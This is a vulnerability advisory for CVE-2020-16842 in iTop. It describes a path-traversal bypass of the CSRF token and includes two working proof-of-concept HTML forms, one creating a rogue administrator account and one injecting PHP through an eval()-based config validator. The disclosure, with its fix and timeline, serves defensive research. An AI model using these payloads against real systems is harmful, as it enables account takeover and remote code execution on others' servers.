[CVE-2020-16842] CSRF protection bypass in iTop

iTop (ITSM & CMDB) is a complete open source, ITIL, web based service management tool including a fully customizable CMDB, a helpdesk system and a document management tool. It is developed by Combodo. We found a bypass to the CSRF function, which could be used to create a new administrator account or execute code remotely through a variation of the `CVE-2018-10642` vulnerability (when an administrator account is targeted).

Description

iTop (ITSM & CMDB) is a complete open source, ITIL, web based service management tool including a fully customizable CMDB, a helpdesk system and a document management tool.
It is developed by Combodo and hosted on GitHub

We found a bypass to the CSRF function, which could be used to create a new administrator account or execute code remotely through a variation of the CVE-2018-10642 vulnerability (when an administrator account is targeted).

 

Threat

iTop does not correctly validate the HTTP parameter transaction_id which is used as a CSRF token through the application.
If iTop is configured to use the class privUiTransactionFile to store these tokens as files on the filesystem (which is the default behavior on a fresh install), the attacker can use a path traversal technique to point the parameter to a file that exists, thus entirely bypassing the verification.

Expectation

iTop should sanitize the transaction_id HTTP parameter so that tampering with it results in an error.
It should be noted that a method exists to sanitize the parameter (utils::Sanitize) , but because of a programming error (missing switch case), the verification is never performed.
This method is also not used everywhere as it should.

CVE ID: CVE-2020-16842

Access Vector: network

Security Risk: high

Vulnerability: CWE-23, CWE-94, CWE-352, CWE-1023

CVSS Base Score: 9.6

CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Details

In the file web/application/transaction.class.inc.php, the transaction_id parameter is not effectively validated and is vulnerable to a path traversal attack.

    /**
     * Check whether a transaction is valid or not and (optionally) remove the valid transaction from
     * the session so that another call to IsTransactionValid for the same transaction id
     * will return false
     * @param int $id Identifier of the transaction, as returned by GetNewTransactionId
     * @param bool $bRemoveTransaction True if the transaction must be removed
     * @return bool True if the transaction is valid, false otherwise
     */
    public static function IsTransactionValid($id, $bRemoveTransaction = true)
    {
        $sFilepath = APPROOT.'data/transactions/'.$id;
        clearstatcache(true, $sFilepath);
        $bResult = file_exists($sFilepath);
        if ($bResult) {
        [......]

        return $bResult;

If we provide it with an existing, writable known file (for example ../../web.config), the check returns as true and the file is deleted.

POC 1 : Adding an administrator account

This PoC adds a new iTop administrator account with the following credentials : admin-CVE:Azerty123!.
The only requirement is that one of the current administrators has to visit a malicious website hosting this PoC.

Steps :

  1. Host the malicious PoC on a website
  2. Trick an administrator into visiting the website
  3. Done
<form action="http://<ITOP_URL>/pages/UI.php" method="post">
    <input type="hidden" name="operation" value="apply_new" />
    <input type="text" name="attr_login" value="admin-CVE" />
    <input type="password" name="attr_password[value]" value="Azerty123!" />
    <input type="password" name="attr_password[confirm]" value="Azerty123!" />
    <input type="hidden" name="attr_password[changed]" value="1" />
    <input type="hidden" name="attr_expiration" value="never_expire" />
    <input type="hidden" name="attr_password_renewed_date" value="" />
    <input type="hidden" name="attr_language" value="EN US" />
    <input type="hidden" name="attr_status" value="enabled" />
    <input type="hidden" name="attr_profile_list_tbc" value='[{"formPrefix":"2_profile_list","attr_2_profile_listprofileid":1,"attr_2_profile_listreason":""}]' />
    <input type="hidden" name="class" value="UserLocal" />
    <input type="hidden" name="transaction_id" value="../../web.config" />
    <input type="hidden" name="c[menu]" value="UserAccountsMenu" />
    <input value="Create admin account" id="btn1" type="submit" />
</form>

POC 2 : Remote code injection

The function iTopConfigSyntaxValidator::Validate uses the dangerous function eval() to validate the syntax of the new configuration file (which is in PHP).
The vulnerability is present because the posted code is evaluated as-is, with a single and weak verification (encapsuling the code in a if (0) { [..CODE...] } block).
By closing the brackets of the block, we can execute any PHP code we want.

public function Validate($sRawConfig)
    {
        try
        {
            ini_set('display_errors', 1);
            ob_start();
            // in PHP < 7.0.0 syntax errors are in output
            // in PHP >= 7.0.0 syntax errors are thrown as Error
            $sConfig = preg_replace(array('#^\s*<\?php#', '#\?>\s*$#'), '', $sRawConfig);
            eval('if(0){'.trim($sConfig).'}');

            [.......]

This PoC executes the function phpinfo() on the remote server. It would be trivial to modify it to a reverse shell for example.

Steps :

  1. Host the malicious PoC on a website
  2. Trick an administrator into visiting the website
  3. Done
<form action="http://<ITOP_URL>/pages/exec.php?exec_module=itop-config&exec_page=config.php&exec_env=production&c%5Bmenu%5D=ConfigEditor" method="post" id="main">
    <input type="hidden" name="operation" value="save" />
    <!-- CSRF bypass, exploits privUiTransactionFile. Any file iTop can access AND delete -->
    <input type="hidden" name="transaction_id" value="../../web.config" />
    <!-- Any value, does not matter -->
    <input type="hidden" name="prev_config" value="1" />
    <!-- PHP code to execute. Whitespaces must be conserved in the request -->
    <input type="hidden" name="new_config" value="<?php
                                                    }phpinfo();?>//"
    />
    <input value="RCE" id="btn" type="submit" />
</form>

Affected versions

Versions prior to 2.7.1

Solution

Update to 2.7.2+

Timeline

  • 2020-07-02 Initial discovery
  • 2020-08-03 First e-mail contact
  • 2020-08-06 Sent all details to vendor contact
  • 2020-12-11 Disclosure

Credits

  • Bertrand Nancy

Recevez toute l'actualité en avant-première